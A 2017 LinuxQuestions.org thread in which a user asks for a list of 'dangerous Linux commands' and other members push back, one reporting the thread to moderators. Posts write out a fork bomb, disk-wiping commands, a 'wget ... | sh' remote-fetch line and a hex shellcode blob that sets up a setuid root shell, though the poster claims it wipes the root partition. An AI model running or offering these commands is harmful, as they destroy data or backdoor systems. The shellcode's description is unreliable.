LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - General (https://www.linuxquestions.org/questions/linux-general-1/)
-   -   Explainshell and dangerous commands of Linux (https://www.linuxquestions.org/questions/linux-general-1/explainshell-and-dangerous-commands-of-linux-4175619754/)

pompous ninja 12-16-2017 09:26 PM

Explainshell and dangerous commands of Linux
 
Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda


What are all the dangerous Linux commands?

Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?

If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:

I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!

The first command of the list of examples of Explainshell is the command ( :(){ :|:& };: )

Reference: https://explainshell.com/

The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.

allend 12-16-2017 09:29 PM

Quote:

The Internet is filled with such bad stuff.
Yeah - and trolls!

!!! 12-16-2017 09:35 PM

Edit note added: I'm slow: I started compsing this while Thread on ZRT.

Hello my friend!!! Remember LQ is for more of Q&A, than discussions,
Especially possibly controversial discussions. I hope my suggestion of:
reddit (For more like 'social chat') isn't against LQ rules.

Yes, there's tons of 'damaging' cmds in any os, depending on privs.
That's why I suggested mll. Did you try it, in your VBox? Slackware?
I suggest mimimal Slackware installs, VBox 'snapshots'
Or much easier with mll, because you have only the cd, no hdd!!!

Tell us something we can reproduce, that didn't give the result you expected,
and the exact result differnce. Best wishes for comfort&fun, in all of Life:idea:

Edit append: more: @pn: I have a useful question/project for you:
Using mll in a 128MB VBox (no .vdi), with your CPU, how many seconds before it is 'wedged' to the point that Ctrl+c won't work? My N270: a few I think I remember; your cpu probably faster. What ulimit will 'nicely' prevent this? What echo > /{sys,proc}/... ?
Write a nice tutorial about: what reasonable&useful 'setting' could stop a fork bomb, without blocking any other 'reasonable' things?

pompous ninja 12-17-2017 07:27 AM

Quote:

Originally Posted by !!! (Post 5794106)

Hello my friend!!! Remember LQ is for more of Q&A, than discussions,
Especially possibly controversial discussions. I hope my suggestion of:
reddit (For more like 'social chat') isn't against LQ rules.


I posted this topic here in General because General is the correct place to post this topic.

pompous ninja 12-17-2017 08:18 AM

What are all the dangerous Linux commands?

Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?

If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:

I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!

pompous ninja 12-17-2017 08:24 AM

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.

This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

What are all the other dangerous Linux commands?


Exist a list of all dangerous Linux commands?

Habitual 12-17-2017 10:26 AM

The only "threat" I'm aware of is the "user", ignorant, or otherwise, on a poorly admin'd system.
I've seen 10 Year DBAs drop a db w\out a backup and ask me for it.
I've fork-bombed myself once, just for shits and giggles.

You are on the path to knowledge. ;)

pompous ninja 12-17-2017 11:25 AM

Quote:

Originally Posted by allend (Post 5794105)
Yeah - and trolls!

I not should have posted this topic?

If not, how should I have asked to be answered about as many as possible of names dangerous Linux commands?

EDIT: If not, how should I have asked to know the bigger number possible of names dangerous Linux commands?

ntubski 12-17-2017 11:39 AM

Quote:

Originally Posted by pompous ninja (Post 5794261)
EDIT: If not, how should I have asked to know the bigger number possible of names dangerous Linux commands?

Don't ask people to write listicles for you.

pompous ninja 12-17-2017 11:55 AM

Quote:

Originally Posted by ntubski (Post 5794267)
Don't ask people to write listicles for you.

How should I have asked to know the maximum possible of information about dangerous Linux commands?

ntubski 12-17-2017 11:59 AM

Quote:

Originally Posted by pompous ninja (Post 5794270)
How should I have asked to know the maximum possible of information about dangerous Linux commands?

Do your own research.

pompous ninja 12-17-2017 12:04 PM

Quote:

Originally Posted by ntubski (Post 5794273)
Do your own research.

Why?

Here is the General of Linux Questions.

273 12-17-2017 12:06 PM

By the way running "sudo rm -rf /*" doesn't work on most Debian-based systems -- please do not try it outside of a virtual machine though, just in case.
For fun try running Suicide Linux (I think thatKs the name) -- one typo as root and the system wipes itself.

astrogeek 12-17-2017 12:11 PM

Quote:

Originally Posted by pompous ninja (Post 5794270)
How should I have asked to know the maximum possible of information about dangerous Linux commands?

In my personal opinion, you shouldn't.

The examples given are not dangerous Linux commands, they are examples of short programs contrived for the purpose of causing harm to a Linux system. If you were to ask "How many ways can I break into a Linux system?", the discussion would not be allowed under LQ rules:

Quote:

Posts containing information about cracking, piracy, warez, fraud or any topic that could be damaging to either LinuxQuestions.org or any third party will be immediately removed.
In my opinion, promoting a discusion of "How many ways can I harm a Linux system?", outside any otherwise useful context, should fall under that same rule and not be allowed.

On that basis I am reporting this thread to other moderators for comment and possible action.

TB0ne 12-17-2017 12:13 PM

Quote:

Originally Posted by pompous ninja (Post 5794270)
How should I have asked to know the maximum possible of information about dangerous Linux commands?

Your question HAS NO ANSWER, because ANYTHING can potentially be harmful/dangerous. Your question is much like asking "Give me a list of ALL the things that can harm a person"...totally open-ended, because everything has the POTENTIAL to be harmful. Whether it is or not depends on the circumstances, system, and conditions.
Quote:

Why? Here is the General of Linux Questions.
Why should you do your own research? Because asking US to do it for you is plain lazy.


All times are GMT -5. The time now is 08:58 AM.